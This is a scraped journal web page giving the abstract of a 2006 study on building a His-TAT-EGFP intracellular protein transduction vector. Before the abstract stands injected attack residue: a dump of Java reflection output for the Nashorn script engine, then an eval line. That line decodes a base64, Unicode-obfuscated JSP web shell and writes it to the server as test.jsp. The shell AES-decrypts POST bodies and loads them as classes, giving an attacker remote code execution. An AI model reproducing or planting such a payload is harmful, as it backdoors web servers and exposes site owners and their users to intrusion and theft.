public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (05): 545-548.

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Reconstruction of an intracellular transduction system based on HIV-1 TAT protein transduction domain

GUO Ai-hua,LIU Zhi-feng,SUN Xue-gang,LI Hai-yu,DENG Peng,JIANG Yong Department of Pathophysiology/Key Laboratory of Functional Proteomics of Guangdong Province,Southern Medical University,Guangzhou 510515,China   

  1. 南方医科大学病理生理学教研室/广东省功能蛋白质组学重点实验室； 南方医科大学病理生理学教研室/广东省功能蛋白质组学重点实验室 广东广州510515； 广东广州510515；
  • Online:2006-05-20 Published:2006-05-20

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Abstract: Objective To explore the reasons for the low intracellular transduction efficiency of a previously constructed His-TAT-Flag recombinant protein and establish a more efficient transduction system.Methods The Flag tag of pET14b-His-Tat-Flag vector was deleted with PCR mutant kit,and enhanced green fluorescent protein(EGFP)coding sequence was inserted into the new pET14b-His-TAT recombinant vector.Enzyme digestion and DNA sequencing were performed for identification of pET14b-His-TAT-EGFP vector,which was then transformed into E.coli BL21(DE3).After IPTG induction,the recombinant protein of His-TAT-EGFP was isolated and analyzed with SDS-PAGE.Purified His-TAT-EGFP recombinant protein was added to ECV304 cells and the fluorescence was observed to evaluate the transduction efficiency.Results pET14b-His-TAT vector and pET14b-His-TAT-EGFP vector were successfully constructed,which was identified with enzyme digestion and DNA sequencing.His-TAT-EGFP fusion protein was expressed and purified successfully and showed cellular transduction activity.Conclusion The prokaryotic expression vector has been successfully constructed by modifying pET14b-His-TAT-Flag,and the expressed and purified recombinant protein of His-TAT-EGFP possesses high efficiency of intracellular transduction activity. 

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